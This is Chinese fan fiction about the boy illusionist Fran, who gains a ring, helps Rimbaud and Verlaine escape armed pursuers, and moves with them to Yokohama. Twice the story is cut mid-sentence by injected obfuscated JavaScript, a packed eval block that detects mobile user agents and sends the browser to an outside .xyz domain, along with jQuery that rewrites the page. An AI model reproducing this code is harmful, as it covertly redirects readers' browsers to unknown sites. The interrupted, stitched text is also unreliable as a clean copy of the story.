《每天都在单飞的路上》 1. 航海之路(一) 九月初,临近夏末,天气依然炎热。 一个头顶巨大苹果帽的小男孩坐在河边的树荫下,看着眼前没有丝毫动静的鱼竿无趣的打了个哈欠。 他有着一头青色的及肩短发和祖母绿的眼睛,眼睛下方有着靛青色的倒三角,稚嫩的脸上带着少许的婴儿肥。阳光透过树叶的缝隙在他身上投下斑驳的光影,仿佛给他披上了一件会移动的斑点外衣。 “不愧是奶奶,做的食物完全就是生化武器——” 小孩看着清澈河流的倒影,撩起刘海,额前还略有些红肿。一想到前几天因为吐槽了一句饭菜像喂牛的就被祖母“一不小心”用刚做好的奶酪敲到了头,直接昏睡了一整天,他不由得打了个冷颤。河水中倒映出他扭曲变形的脸,像一幅被雨水打湿的水彩画。 弗兰把脚趾伸进微凉的河水中,感受着水流轻柔的抚摸。他盯着水面下偶尔游过的小鱼,思考着它们是否也会像他一样感到无聊。 “下次还是尝试一下漂流吧。”他自言自语道。所谓漂流,就是整个人躺在水中顺着水流四处飘荡。这个想法让他兴奋了一秒钟,随即又泄了气。 “但是上次直到漂到了大海都没人发现me呢。”他面无表情地回忆着那次差点丧命的冒险,如果不是碰巧有渔民经过,他可能真的就变成了一条永远漂流的小鱼。 他盯着正一坠一坠的鱼竿,阳光照射在水面上波光粼粼的,弗兰缓缓的闭了两下眼,视线才逐渐变得清晰起来。 河面上漂浮着几片落叶,像一艘艘迷你的小船,载着蚂蚁水手们进行着它们伟大的航行。弗兰想象着自己也变成了一只蚂蚁,站在树叶上,随着水流漂向未知的远方。 顺着河流向下游望去,几个小孩在河岸的泥沙中打闹,浑身脏兮兮的,顶着巨大苹果帽的孩子只是瞥了一眼便收回视线。那些孩子偶尔会朝他这边看,然后窃窃私语,但从不邀请他加入。弗兰早已习惯了这种排斥,他甚至给每个孩子都起了绰号:鼻涕虫、红脸蛋、大嗓门和跟屁虫。在他眼里,这些绰号比他们真正的名字更贴切。 因为性格怪异被村子里的其他孩子所排斥,他理所当然的没有朋友,好在弗兰并不在意这些,毕竟在他看来一个人的世界也是十分有趣的。与其和那群动不动就大吵大闹的小孩一起玩幼稚的堆沙堡,一个人独享安静的下午更让他愉悦。他可以数云朵的形状,观察蚂蚁搬家,或者像现在这样,假装自己是个专业的渔夫,虽然一整天都钓不上一条鱼。 夕阳渐沉,天空染上了一层橘红色的光晕,像是被点燃的棉花糖。瘦小的孩子收好鱼竿装进背篓里,今天不仅一条鱼都没钓到,回家还要吃奶奶做的黑暗料理,这么一想真是苹生艰难啊。他叹了口气,苹果帽随着他的动作轻轻晃动,仿佛也在表达着无奈。 怀着沉重的心情回到了家,弗兰随手把背篓扔在了门后,整个人懒散的躺在了沙发上。老旧的沙发发出抗议的吱呀声,仿佛在抱怨他的粗暴对待。余光扫过厨房里散发着不明颜色的被称之为食物的东西,他身后的黑气愈发的具象化了。那些黑气像是有生命一般,在他周围盘旋,时而形成奇怪的形状。 “弗兰,明天艾米丽夫人要去城里一趟,你以前老是说想去大城市玩玩,我就拜托她带上你一起了。”一个头发花白的老婆婆端着一盘她自认为卖相极佳的菜走了出来,银白色的发丝在脑后挽成一个松散的发髻,几缕不听话的头发垂在布满皱纹的脸颊旁。她的眼睛和弗兰一样是绿色的,只是浑浊了许多,像是蒙上了一层薄雾。 “你昨天醒来之后不是一直说自己梦见了凤梨妖怪吗,”祖母继续说着,把盘子放在桌上,那团不明物体在盘子里微微颤动,像是有生命一般,“今天和艾米丽夫人聊天的时候听说城里的小孩都喜欢一个住在凤梨里的黄色海绵,居然真的有这种东西啊,我还以为你是开玩笑的。” 不,这和me说的完全是两个东西吧。而且凤梨妖怪真的只是他随口一说的啊。弗兰在心里默默吐槽,但表面上只是眨了眨眼睛,长长的睫毛在脸颊上投下细小的阴影。 “不过听说城里的食品安全问题很严重,不知道弗兰能不能吃得惯啊……”祖母忧心忡忡地说,一边又转身回到厨房,准备端出更多“美味”。 槽点太多弗兰一时也不知道该说什么,只能以龟速挪到了饭桌上,看着一盘盘菜被端上饭桌。一盘灰绿色的糊状物、几块焦黑的疑似肉块的东西,还有一碗冒着诡异气泡的汤。弗兰的胃已经开始提前抗议了。 好在明天去城里的话应该能吃上一顿好的了,这么一想他不禁松了口气,一句“吃奶奶做的饭才是马上会上天堂”在看到祖母紧握着的汤勺时硬生生的憋了回去。啊,额头似乎又痛起来了。他摸了摸前几天被奶酪击中的地方,那里已经结了一个小小的痂。 晚饭后,弗兰躺在自己的小床上,盯着天花板上斑驳的水渍。那些水渍形状各异,有的像飞鸟,有的像奔跑的狗,还有一块特别像他想象中的凤梨妖怪。窗外的月光透过薄薄的窗帘洒进来,在地板上画出一道银色的线。他翻了个身,苹果帽挂在床头的钉子上,在月光下投下一个圆形的影子。 明天就要去城里了。这个念头让他既兴奋又忐忑。他只在电视上看过大城市的样子——高耸入云的建筑,川流不息的人群,五光十色的商店。不知道真实的城市是否和电视里一样?带着这个疑问,弗兰慢慢闭上了眼睛。 第二天清晨,伴随着滴滴的喇叭声,弗兰蹭着艾米丽夫人的车离开了村子,去往他期待已久的城市。艾米丽夫人是个身材娇小的女性,一头利落的短发,穿着笔挺的正装,看起来一点也不像村里其他妇女。她的车里有一股淡淡的香水味,混合着皮革的气息,让弗兰忍不住多吸了几口气。 天气阴沉沉的,阳光透不过厚厚的云层,体感温度都没那么高了。现在即使下一秒下起暴雨也影响不了弗兰此刻的好心情。 他系好安全带,双手规规矩矩地放在膝盖上,眼睛却不停地扫视着车窗外飞速后退的景色。 透过车窗,看着飞速驶过的风景,他缓缓的将手台至眼前,打开手心。一只翅膀带着荧光的蝴蝶从手中凭空出现,一直向着窗外飞去。这是他从小就会的小把戏,能创造出各种幻象,虽然持续时间不长,但足够让他自娱自乐。只可惜窗户阻拦了它出去的道路,在蝴蝶撞上玻璃的一瞬间,它悄无声息的散成了数不清的光点。 “弗兰,等会我们要去这里最大的商场,如有有要买的东西里面一般都可以买到,下午四点钟在大门口集合,我们还要回去休息一下,哦天哪明天我还有一笔生意要谈……希望今天的采购不要太久……”艾米丽夫人一边开车一边滔滔不绝地说着,她的语速很快,像是一挺机关枪,不时还夹杂着一些弗兰听不懂的商业术语。 绿眸少年蔫蔫的半眯着眼睛,看着车缓慢地停下和映入眼帘的繁华商场,"知道了——"他拖长音调回答,眼睛却已经黏在了那座巨大的建筑上。商场的外墙全是玻璃,反射着天空的灰色,看起来像一座水晶宫。入口处人来人往,每个人都穿着光鲜亮丽的衣服,行色匆匆。 艾米丽夫人停好车,带着弗兰穿过旋转门进入商场内部。一进去,弗兰就被眼前的景象震撼了——高耸的中庭,层层叠叠的楼梯,五颜六色的店铺招牌,还有空气中混合的各种香味。 他的苹果帽在人群中显得格外醒目,几个路过的孩子指着他窃笑,但他已经顾不上在意这些了。 “好了,记住,下午四点在大门口见。”艾米丽夫人匆匆 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这个画册上孔雀的图片看着挺漂亮,但是他印象里的孔雀似乎是光芒万丈且有温度的,被孔雀照耀过应该能治疗脱发?还有这种貂,他看的第一眼就脑袋隐隐发痛,总觉得以前被这种生物咬过,更别说后面的狮虎兽了,明明他从未在现实中见过这些,但是这莫名的熟悉感真是让人摸不着头脑。 时间一分一秒过去,弗兰逐渐适应了商场的环境,甚至开始享受这种自由探索的感觉。他买了一个冰淇淋,坐在休息区的长椅上慢慢品尝。这是他吃过的最好吃的甜品,冰冰凉凉,完全不像奶奶做的那些可怕的“创意料理”。 正当他舔着最后一口冰淇淋时,余光瞥见了一个奇怪的摊位。那是一个临时搭建的小棚子,挂着“命运占卜”的牌子。更引人注目的是摊主头上戴的发饰——一个金色的凤梨形状的发夹,在灯光下闪闪发光,整个物品散发着“没错我就是在引起你的注意”的味道。而周围的人似乎看不见这个小棚子,却又极为默契的绕过了摊位,这块地方好像误入人类世界的对角巷。 弗兰的心跳突然加速。凤梨妖怪?他不由自主地朝那个摊位走去,苹果帽下的眼睛睁得大大的。当他走近时,摊主抬起头来——那是一个年轻的黑发男子,却有着异色的瞳孔,一边蓝色一边红色,嘴角挂着神秘的微笑。 “我感觉到一股特别的力量,”男子用低沉的声音说,“你是个特别的孩子,对吗?” 弗兰愣住了。没有人曾经对他说过这样的话。在村子里,大家只会说他“古怪、不合群、那个奇怪的老太婆的怪孙子”。 男子向前倾身,声音压得更低:“我看到你创造的蝴蝶了,很美的幻象。但你知道吗?那不仅仅是幻象。” 弗兰感到一丝困惑和说不上来的感觉。这个人怎么会知道蝴蝶的事?他从未告诉过任何人自己的能力,也从未让人看到过。 “你是谁?”弗兰终于找回了自己的声音,火速后撤几步退出十米远,“妖魔鬼怪快离开~凤梨精退散~~退退退——我不好吃的别吃我。” 男人的额头很明显的蹦出个十字,他忍耐着性子从柜台下拿出一个小盒子推给弗兰:“拿着这个,当你遇到危险时,打开它。等你把一切都想起来了就乖乖待在家里等着我从日本来找你,不然就去地狱轮回吧臭小子。" 弗兰犹豫地接过盒子,它比看起来要轻得多。正当他想问更多问题时,突然不远处的游客出现了骚动,转眼间秩序就混乱了起来。 弗兰抬头看向男子,却发现摊位已经空了,只剩下那个凤梨发饰孤零零地放在柜台上。他揉了揉眼睛,怀疑自己是不是又创造了一个幻象。但手中的盒子确实存在,沉甸甸的,带着某种他不理解的温度。 2. 航海之路(二) 弗兰盯着手中的神秘盒子,心跳如擂。盒子上雕刻着精细的纹路,像是某种古老的文字,又像是单纯的装饰。 他轻轻摇晃,里面传来轻微的响动,像是金属碰撞的声音。 “通知,由于突发紧急事件,请各位游客尽快有序离开商场……”商场的广播响起,打断了他的思绪,只是那广播还没播完,音响就发出一阵刺耳的噪音,随即安静了下来。 今天可是他第一次出来玩,不会这么倒霉吧? 他犹豫了一下,将盒子塞进外套内袋,最后看了一眼那个空荡荡的占卜摊位,转身顺着人群朝出口方向走去。 刚走到二楼楼梯口,一阵异常的骚动引起了他的注意。楼下的人群突然像受惊的鱼群一样四散分开,尖叫声此起彼伏,人们推推搡搡的向出口涌去。弗兰踮起脚尖,从楼梯的缝隙向下望去—— 两个穿着考究的男子正以惊人的速度穿过人群,他们身后追着至少十几个黑衣人。 跑在前面的金发男子动作优雅得像在跳华尔兹,却每次都能精准地避开抓向他的手。后面黑发的那位不时回身,手指轻点空气,追击者面前就会突然出现半透明的屏障,阻挡他们的去路。 “这是……异能者吗。”弗兰喃喃自语,没表情的脸上出现一丝波动。 他曾在祖母的老旧书籍上看过关于异能者的传闻,但从未想过会亲眼见到。 就在这时,一声枪响震彻商场。金发男子身形一晃,左臂顿时洇开一片鲜红。黑发男子立刻停下脚步,转身面对追兵,双手在胸前交叉。 “别管我,继续跑!”受伤的人咬牙道,但另一位摇摇头,眼中闪过一丝决绝。 “我是不会丢下你的。”那人的声音很轻,却带着不容置疑的力量。 弗兰感到一阵莫名的悸动。 他应该按照广播指示离开这里,远离这场危险的追逐……但有什么东西拽住了他的脚步。 也许是那句“我不会丢下你”,让他想起了每次漂流到终点时,奶奶总会划着小船来找他的情景。 黑衣人已经呈扇形包围了两人。黑发男子的能力似乎消耗过大,制造的屏障越来越薄。 他俩背靠背,尽管受伤,姿态依然优雅。那子弹似乎和普通子弹不同,哪怕隔着一层楼弗兰都能感受到那四处分散的奇怪能量。 “最后一次机会,把‘浮标’交出来。”领头的穿着牧师装的男人冷声道,如果把他手上的木仓换成圣经或许更适合他的扮相。 黑发男人轻笑:“老板你还是这么没创意,连台词都不换。” 话音未落,黑衣人同时开火。男人猛地展开双臂,一道巨大的屏障在千钧一发之际成形,子弹像撞上无形墙壁般纷纷弹开。 但弗兰看到他的膝盖已经微微发抖,额头上布满冷汗,显然已经快到极限了。 “他们撑不了多久……”弗兰下意识摸向口袋里的盒子,却摸了个空——盒子不见了!他默默地四下张望,终于在几步外的地上发现了它,盒盖摔开,一枚戒指躺在旁边。 那戒指看上去平平无奇,只是戒指中间有着三个6,让人看不懂是什么意思。 又一阵枪声响起,只是这次那金色的屏障出现了裂痕。 弗兰捡起戒指,感到一阵奇异的温热从指尖传来。他脑海中突然闪过一个奇怪的念头,随即将戒指戴上。 “虽然之前好像并没有实验过……如果我创造一个更大的幻象呢?来自异世界的凤梨妖怪先生,请将力量借给我吧。” 弗兰深吸一口气,闭上眼睛,一只手抬起,做出自由女神像的姿势。他想象着商场突然陷入黑暗,想象着无数荧光蝴蝶从天花板倾泻而下,想象着警报声大作,人们惊恐逃窜的画面...然后他用力将这股想象‘推’向现实。 什么也没发生。 难道是姿势错了吗,但是电视上主角变身不也是这个姿势吗,还是说要做完一整套动作才行,但是那也太麻烦了吧。 弗兰感到一阵沮丧,果然还是不行吧。但紧接着,他手中的戒指突然变得滚烫,一股前所未有的力量涌遍全身。 商场的灯光开始闪烁,然后“啪”地全部熄灭。真正的尖叫声此起彼伏。 接着,正如弗兰所想象的,数以百计的荧光蝴蝶凭空出现,在空中组成绚丽的漩涡在人群中穿梭。更惊人的是,警报声真的响了起来,尽管弗兰完全不知道警报系统的位置。 黑衣人们明显慌了神,胡乱朝四周开枪。楼下的两人则敏锐地抬起头,目光直接锁定了二楼扶梯口的弗兰。 “那边!”领头的男人也一下子反应过来,指向弗兰的方向。 弗兰僵住了——他没想到自己的幻术会这么明显地被识破。更糟的是,几个黑衣人开始朝楼梯冲来。 “跑!”弗兰脑海中只有一个念头。 他转身就往反方向逃去,苹果帽在奔跑中差点飞走,他不得不一手按住帽子,一手紧攥着那枚戒指。 身后的脚步声越来越近。弗兰拐进服装区域,钻过一排排衣架,试图甩掉追兵。 就在他以为安全时,一只大手突然从后面捂住了他的嘴,将他拖入拐角的房间里。 “别出声,孩子。”是刚刚在楼下黑发男人的声音,低沉而疲惫。 他刚抬起准备做什么的手缓缓的放下了。 弗兰被拖进试衣间,狭小的空间里挤了三个人——他和两个疑似在被追杀的男人。 黑暗中他只能看到其中一人的金发被汗水浸湿贴在额前,但那双蓝眼睛依然锐利如鹰隼,上下打量着弗兰。 “刚才那是你做的?”身边的人直接问道,声音因疼痛而略显嘶哑。 弗兰犹豫了一下,点点头。 黑发男人松开捂住弗兰嘴的手,惊讶地与同伴交换了一个眼神。“这么小的孩子...竟然有这种级别的异能。是幻觉类异能对吧。” “me不是小孩子,”弗兰忍不住反驳,“me已经六岁了。” 金发男人轻笑一声,随即因牵动伤口而皱眉。“好吧,六岁的幻术大师,你叫什么名字?” “弗兰。” “弗兰,”身边的人轻轻重复道,发音准确得让弗兰惊讶,“感谢你的帮助我们才得以脱身。那些人是冲我们来的法国秘密警察,非常危险。” 外面的骚动声渐渐远去。弗兰这才注意到身旁人的手腕上有一道奇怪的纹身,像是某种编码。金发男人的颈侧也有类似的标记。 “你们是谁?为什么那些人要追你们?”弗兰问道,同时不由自主地伸手想碰受伤那人流血的手臂,却在半途被拦住。 “别碰,”那人警告道,“你究竟是哪方的人?” 弗兰缩回手,面无表情的抱着膝盖吐槽,“这位金色蚜虫人大叔,你该不会以为me是和外边那群拿着儿童玩具枪的人是一伙的吧,me的出场费很贵的。” 黑发男人叹了口气:"看来我们欠你一个解释,我叫阿蒂尔·兰波,这位是我的同伴魏尔伦。听着,弗兰,这个世界有很多像我们这样拥有特殊能力的人。有些人称我们为异能者,有些组织则把我们当作武器或实验品。"他指了指自己和同伴手腕上的编码,"我们现在属于前者。" 魏尔伦接过话头:"我现在由于自身的某种原因不能使用异能……这是我的问题,抱歉我无法解释太多。之后我们要去日本做些事情,你知道那个有异能者传说的城市——横滨吗?" “横滨…”弗兰轻声重复,这个地名在他舌尖上跳跃,带着异国的神秘感。 “你的能力很强,但缺乏控制和训练,”身旁的人认真地说,“而且你今天帮了我们的同时也已经被那些组织记住了,他们会不择手段得到你。你也看到了,他们可不会顾及普通人的性命。” 弗兰想起奶奶的警告——不要在人前展示「那些小把戏」。现在他明白为什么了。 “你们想带me去横滨?”弗兰直接问道。 魏尔伦挑眉:“聪明的孩子。是的,我们可以帮你锻炼你的能力,同时也能保护你免受那些组织的伤害。” 弗兰想起奶奶,想起河边安静的午后,想起家里可怕的饭菜...但同时也想起自己每次漂流时对远方的渴望,想起创造幻象时的奇妙感觉。 “我需要和奶奶说一声,”最终他说,“不能就这样消失。” 兰波点头:“当然。我们可以安排——” 他的话被外面突然响起的脚步声打断。魏尔伦立刻绷紧身体,兰波则无声地将手指竖在唇前。 不断有隔壁房门被打开又关上的声音,脚步声越来越近,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644040|172737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终停在了试衣间门外。弗兰感到心跳快得要冲出胸膛,手中的戒指又变得滚烫起来。 门把手转动了。 就在这一刻,整层楼陷入漆黑,应急灯亮起的同时所有追杀者都变成了兰波和魏尔伦的模样,他们面面相觑了片刻开始互相拉扯起来。 兰波噗嗤笑出声时,魏尔伦已经一脚将身后的墙开了个洞,拎着弗兰的衣领就往外走。 “干得好,”魏尔伦赞许道,“但我们得赶紧离开。兰波,你的能力还能用吗?” 兰波试了试,摇头:“至少需要一小时恢复。” “那就用老办法。”魏尔伦说着,从口袋里掏出一把小巧的银色手枪。 弗兰略有些好奇的看着这个小玩意:“你要杀人?黄色蚜虫人终于要大显身手了吗——喂,别扯me的头套,发型会乱。” “只是威慑,”魏尔伦安抚道,并没有在意他口中的奇怪称呼,“我们尽量不伤及无辜。” 三人从洞口离开,借着弗兰制造的幻象掩护向紧急出口移动。 途中遇到两个黑衣人,魏尔伦精准地射中他们的腿部,让他们失去行动能力而不致命。兰波立马跟上敲晕了对方,能看出他俩配合得十分娴熟。 终于,他们冲出商场后门,钻进一条狭窄的小巷。兰波领着他们七拐八绕,最终停在一辆不起眼的黑色轿车前。 “上车,”兰波打开车门,“我们先离开这里,再讨论下一步。” 弗兰犹豫了。这一切发生得太快——从看到追逐,到使用幻术,再到现在要跟两个陌生人离开。 他自认为不存在什么叛逆期,但内心深处,有什么东西在蠢蠢欲动,那是种对未知世界的渴望,对自己能力的好奇。 “奶奶会理解的,”他对自己说,然后钻进了车里。 车内弥漫着淡淡的皮革和烟草味。魏尔伦坐进副驾驶,从座位下掏出小型急救箱开始包扎起来。兰波发动汽车,熟练地驶入车流。 “所以,”弗兰打破沉默,“你们真的要去日本?” “是我们,”兰波透过后视镜对他微笑,“我听说横滨是个美丽的城市,你或许会喜欢那里的。” 弗兰望向窗外飞速后退的城市景观,思绪万千。他想起那个给他戒指的神秘凤梨妖怪,想起自己从未告诉过任何人的幻象能力...这一切似乎都不是巧合。 “我什么时候能联系奶奶?”他问道。 “安全后立刻,”兰波保证道,他搭在方向盘上的手不自觉开始敲击起来,“我们可以安排人去帮你报平安,但是你也知道现在并不是传话的好时机。” 弗兰点点头,这才彻底放松下来,紧绷了几个小时的神经,这么一释放突然感到一阵疲惫。今天的经历消耗了他太多精力。他的眼皮越来越沉,最终撑不住靠在车窗上睡着了。 梦中,他感到自己一直在下坠、下坠,最终站在一片陌生的海滩上,远处是灯火通明的城市。一个有着凤梨头的人背对着他,声音像是从很远的地方传来: “欢迎来到新的的世界,弗兰。这只是开始...” 当弗兰再次醒来时,他已经在飞机上了。兰波告诉他,这是一架私人飞机,他们绑架了一位富豪成功夺取了飞机使用权。 这很符合此刻他们被通缉的身份。 窗外是翻滚的云海,金色的阳光洒在上面,宛如魔法世界中的场景。 “我们还有两个小时就到横滨了,”魏尔伦说,他的伤臂已经包扎好,"饿了吗?" 弗兰确实饿了。但他想再坚持一下。 “到了横滨后,”兰波说,“嗯……横滨目前有点混乱,所以我们会找个安全地方好好修养。" “然后呢?”弗兰问。 “然后,”魏尔伦的蓝眼睛闪烁着弗兰读不懂的情绪,“你就要开始学习如何真正使用你的能力了。是真正的幻术。” 飞机穿过云层,轻微的颠簸让弗兰抓紧了扶手。他的人生也正经历着这样的颠簸,从一个普通乡村男孩,到一个即将踏入异能世界的普通人。 但不知为何,弗兰并不害怕。手中的戒指依然温热,像是某种指引。他望向窗外的云海,想象着那里有无数荧光蝴蝶在飞舞,引领他前往全新的未来。 横滨,等待他的会是什么呢? 3. 航海之路(三) 弗兰翻了个身,毛茸茸的苹果帽子在枕头上蹭出沙沙的响声。月光透过窗帘缝隙在他脸上投下银线,睫毛在眼睑下颤动——他正在坠入某个不属于现实的维度。 雾气漫过脚踝时,弗兰发现自己站在一片发光的森林里。树干流淌着蓝紫色荧光,半透明的水母漂浮在空气中,触须垂落如同流动的星屑。 “这是什么新型整蛊节目吗?”他戳破一只飘到眼前的发光体,水母立刻碎成光点,又在三米外重新凝聚。 “kufufu...真是不可爱的小鬼。” 雾气突然凝结成人形。凤梨叶片般的发型在脑后飘动,异色瞳孔在阴影中闪烁。六道骸斜倚着凭空出现的雕花椅背,手上拿着的三叉戟折射出冷光:“来开始今天的教学吧。” 弗兰歪头看着对方抬手间那奇怪的银色戒指:“师父今天的造型好像水果店的促销立牌。” 他看着对方额角蹦出的十字,果断闭嘴了。三叉戟敲在地面的脆响让整个空间震颤,林间树木突然疯长,缠绕着组成阶梯教室的模样,水晶吊灯从穹顶垂落,在黑曜石地面投下细碎光斑。 “啧,差点忘了,你这小鬼一直都不可爱。” “首先,我们要了解幻术师。”他打了个响指,弗兰的绿色卫衣瞬间变成笔挺的学院制服,领口还别着镶红宝石的领针,“幻术师要像水一样...” “师父的比喻好老套。"弗兰扯了扯突然收紧的领口,对此形容提出抗议,“您不能因为自己被泡在水里就要求别的幻术师要像水一样——” 少年导师举起的手停在半空,弗兰看着对方抽搐的嘴角,终于放过他了:“me还是更喜欢之前说的,虚无缥缈的雾。” 教学在诡异的气氛中继续。当六道骸示范如何将雾气凝聚成火柱突然从地里喷发时,弗兰用满地打滚的小兔子破坏了肃穆感;当导师用樱花雨营造浪漫场景,徒弟坚持要给每片花瓣加上苹果笑脸图案。 星光最后变得刺目。弗兰感觉后领一紧,整个人被拎到半空。 “教学时间是每周一,”六道骸的声音像是从牙缝里挤出,“敢迟到就把你变成真的苹果。” 晨光染白窗帘时,弗兰在床上蜷成一个小团子。枕边的草稿纸上画满涂鸦:凤梨头火柴人追打小苹果。角落歪歪扭扭写着——“噩梦家教,凤梨精叶子妖怪” 横滨的雨季来得突然而绵长。 弗兰站在阳台上,看着雨滴在玻璃上蜿蜒成河。 三个月前,他跟着兰波和魏尔伦来到这座城市,住进了这栋位于市中心的老式红砖公寓。八层的高度刚好能望见远处的海湾,夜晚时分,港口的灯光像散落的钻石般闪烁。 “弗兰,别淋湿了。”兰波的声音从身后传来,温和却不容拒绝。他手里捧着一本皮质封面的书,灰绿色眼睛带着关切。 弗兰磨磨蹭蹭地离开阳台,苹果帽上沾了几滴雨水。这顶帽子是他从家乡带来的唯一物品,已经有些褪色,但在横滨的街头依然显眼。 “魏尔伦呢?”弗兰问道,甩了甩头发上的水珠,像楼下经常跑来蹭吃的小猫一样。 “他有自己的事要做。”兰波简短回答,目光重新落回书本上。他坐在窗边的扶手椅里,修长的双腿交叠,像一幅古典油画。路边的灯光透过雨幕照进来,给他镀上一层朦胧的光晕。 弗兰撇撇嘴,盘腿坐在地毯上。公寓很宽敞,三室两厅,装修简约却处处透着精致——兰波的品味。 客厅的书架上摆放了一些法文书籍,墙上挂着几幅魏尔伦挑选的抽象画。最里间的书房门永远锁着,兰波说那是“工作间”,禁止弗兰进入。 “今天练习什么?”弗兰问道,手指无意识地在空中画圈,几只半透明的蝴蝶随之出现,扑闪着飞向天花板。 兰波头也不抬:"控制力。让它们停在同一个位置超过五分钟。" 弗兰叹了口气。 自从来到横滨,兰波就成了他的异能导师,每天安排各种枯燥的基础训练。而魏尔伦则负责教他格斗和枪械——虽然弗兰讨厌后者,每次射击训练后耳朵都会嗡嗡响一整天,而且他只是个远程的辅助为什么要学这些啊! 蝴蝶在吊灯旁盘旋,渐渐变得透明。弗兰努力集中注意力,但思绪还是飘向了昨晚。 凌晨两点,他被关门声惊醒,从门缝看到兰波和魏尔伦风尘仆仆地回来,兰波的手臂上缠着临时绷带,与魏尔伦正低声说着什么。他们抬头看到弗兰的房门微开,立刻停止了交谈。 这不是第一次了。 过去几周,两人经常深夜外出,有时带回奇怪的伤痕,有时带着密封的文件袋。弗兰曾偷偷翻看过一次,里面全是看不懂的专业术语报告和各种数据。 “专注,弗兰。”兰波的声音将他拉回现实。蝴蝶已经消失了,只留下几粒光点缓缓飘落。 “为什么me非要练这些?”弗兰忍不住问,"me有说过的吧,梦里有个凤梨妖怪师父在教me——。" 兰波终于合上书,抬手揉了揉鼻梁,照往常一样把他所描述的当做小孩子的玩笑。“又要开始讲述你的爱丽丝梦游仙境了吗,弗兰。要知道越强大的能力,越需要严格的控制。”他顿了顿,“而且…目前可没有幻术师能同时在我们眼皮子底下把你带走。” “诶?” “好歹也对我们的实力有点信心吧。”兰波的眼神变得复杂,像在看一个不懂事的小孩,“你的幻术潜力远超普通异能者,甚至可能——” 钥匙转动的声音打断了他的话。魏尔伦推门而入,金发上沾着几滴雨水,手里提着几个塑料袋。 “我买了晚餐,”他宣布,“还有弗兰要的草莓大福。” 弗兰立刻跳起来冲向食物,暂时忘记了刚才的疑问。魏尔伦笑着揉了揉他的头发,苹果帽被碰歪了,弗兰赶紧扶正。 “都说了多少次不要弄歪me的头套,发型会乱。” “训练怎么样?”魏尔伦不知道是真没听见还是故意假装没听见,转头问向兰波,同时脱下带着凉意的外套。弗兰注意到他右手关节处有新擦伤的痕迹。 “有待提高,他还在和我纠结梦里的凤梨老师。”兰波耸耸肩站起身,接过食物袋走向厨房。弗兰想跟过去帮忙,却被魏尔伦拦住。 “先看看这个。”魏尔伦从内袋掏出一个小盒子,“是迟来的生日礼物。” 弗兰愣住了,他之前是提过一嘴自己的生日在儿童节之后,当时已经过了几个月了,两位大人只是笑着说之后会给他补上,没想到今天给他来了个这么大的惊喜。 盒子里面是一条项链,中间镶着一小块青色的钻石,做工精细得能看清每一丝纹路。 “戴上它,这样我们能同时定位到双方。”魏尔伦点了点自己耳垂上的耳钉,声音罕见地柔和,“我和兰波一起买的。” 弗兰小心地戴上项链,感到一阵微妙的温暖流过全身。厨房里传来兰波做饭的声音,魏尔伦身上带着雨和烟草的气息,这一刻如此平凡又珍贵。 晚餐是外卖寿司和兰波做的牛排——只是卖相看上去有点骇人。 “这就是你说的‘会做饭’?”他眨着豆豆眼,看向站在灶台前手忙脚乱的兰波和盘子里煎的焦黑的牛排,脸上一片空白,“me觉得这块碳更适合放进博物馆,标题是‘法国人谋杀食物的证据’。” 兰波的黑发因为汗水黏在额前,白色衬衫的袖口沾满了油渍。他叹了口气,把又一块失败的煎蛋铲进垃圾桶。 “我在尝试,弗兰。不是所有人都能像保罗那样第一次下厨就——” “就做出能毒死老鼠的食物?”魏尔伦的声音从客厅传来,他正优雅地翻阅报纸,金发在灯光下如同流动的黄金,“谢谢夸奖,我会再接再厉的。” 弗兰把苹果帽往下拉了拉,遮住自己忍不住上扬的嘴角。 来了这么久,他们也给自己安排好了身份。表面上,兰波和魏尔伦是来自法国的贸易公司职员;实际上,他们是来执行秘密任务的。 而弗兰也被安排了一个来日本定居的身份,虽然走正规流程手续比较复杂,但是这里是横滨,能花钱办到的事情就不需要操太多心。 “me在想,”弗兰把焦黑的牛排推到盘子边缘,"你们所谓的暗杀就是去毒杀对手的吗?那确实很有效率。"话音刚落,厨房又是一阵噼里啪啦。 魏尔伦放下报纸,蓝眼睛里闪烁着危险的光芒:"小朋友,你今天的话格外多啊。" “因为me不想见到me的异能导师死于食物中毒。"弗兰面无表情的回应着。 兰波终于放弃了烹饪,从冰箱里拿出一瓶牛奶 。 他俩交换了一个眼神。这种默契的沉默交流让弗兰感到一丝不舒服,就像被排除在某个重要秘密之外。 一月中旬的一个周末,三人难得一起去了中华街。阳光很好,街上游人如织。魏尔伦给穿着厚羽绒服的弗兰买了一串糖葫芦,兰波则耐心地解释这里的历史。 弗兰夹在兰波和魏尔伦中间,感觉自己的苹果帽在这种环境中显得格外可笑。 “me看起来像来参加儿童派对的,”他小声抱怨,“而你们俩像绑架儿童的罪犯。” 魏尔伦嘴角抽了抽:“安静点,我们到了。” 面前是一个邮局。 弗兰从兜里掏出几份自己早就写好的信,小心翼翼的交给前台的员工,在一旁填好了寄件表。他看着小姐姐熟练的将东西包装好,然后给了他一张回执单。 “费用是100円,送到那边的话可能需要十几天左右,如果没问题的话可以在这里盖个章哦。” 没错,这次他们出来的主要目的就是寄信给弗兰的祖母报个平安,几个月没消息应该让老人急坏了吧。 弗兰有些心虚的在盖好的章旁边画了一个小苹果笑脸,希望这些信能让奶奶安心一点,同时也对艾米丽阿姨说声对不起,希望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这是展示品,想买的话要按柜台铃。”少女合上本子走下楼梯,鞋子在台阶上踩出轻快的节奏。当她弯腰时,弗兰看见本子扉页用钢笔写着“晶子”。 叮铃—— 玻璃柜后的布帘应声掀动,戴圆框眼镜的老师傅端着漆盘出现时,晶子已经熟稔地趴在柜台上:“山田爷爷,哇哦这是红豆馅的——” 